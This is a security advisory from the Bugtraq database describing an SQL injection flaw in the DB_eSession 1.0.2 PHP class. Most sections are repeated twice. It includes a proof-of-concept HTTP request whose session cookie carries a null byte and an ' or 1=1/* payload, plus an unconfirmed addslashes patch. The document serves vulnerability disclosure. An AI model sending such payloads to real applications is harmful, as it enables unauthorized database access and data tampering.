Lawrence Osiris DB_eSession Class SQL Injection Vulnerability
BID:16598
Info
Lawrence Osiris DB_eSession Class SQL Injection Vulnerability
| Bugtraq ID: | 16598 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 13 2006 12:00AM |
| Updated: | Feb 13 2006 08:18PM |
| Credit: | GulfTech Security Research is credited with the discovery of this vulnerability. |
| Vulnerable: |
Lawrence Osiris DB_eSession 1.0.2 |
| Not Vulnerable: | |
Discussion
Lawrence Osiris DB_eSession Class SQL Injection Vulnerability
DB_eSession is prone to an SQL-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
DB_eSession is prone to an SQL-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Exploit / POC
Lawrence Osiris DB_eSession Class SQL Injection Vulnerability
An exploit is not required.
The following proof-of-concept is available:
GET http://www.example.com/index.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=143263645564654563456345634563435%00' or 1=1/*
An exploit is not required.
The following proof-of-concept is available:
GET http://www.example.com/index.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=143263645564654563456345634563435%00' or 1=1/*
Solution / Fix
Lawrence Osiris DB_eSession Class SQL Injection Vulnerability
Solution:
It has been suggested that the following line of code will fix the vulnerability. Symantec has not confirmed the integrity of this patch.
/* add this code at line 1092 of the DB_Session class file */
$_sess_id_set = ( empty($_sess_id_set) ) ? NULL: addslashes($_sess_id_set);
Solution:
It has been suggested that the following line of code will fix the vulnerability. Symantec has not confirmed the integrity of this patch.
/* add this code at line 1092 of the DB_Session class file */
$_sess_id_set = ( empty($_sess_id_set) ) ? NULL: addslashes($_sess_id_set);
References
Lawrence Osiris DB_eSession Class SQL Injection Vulnerability
References:
References: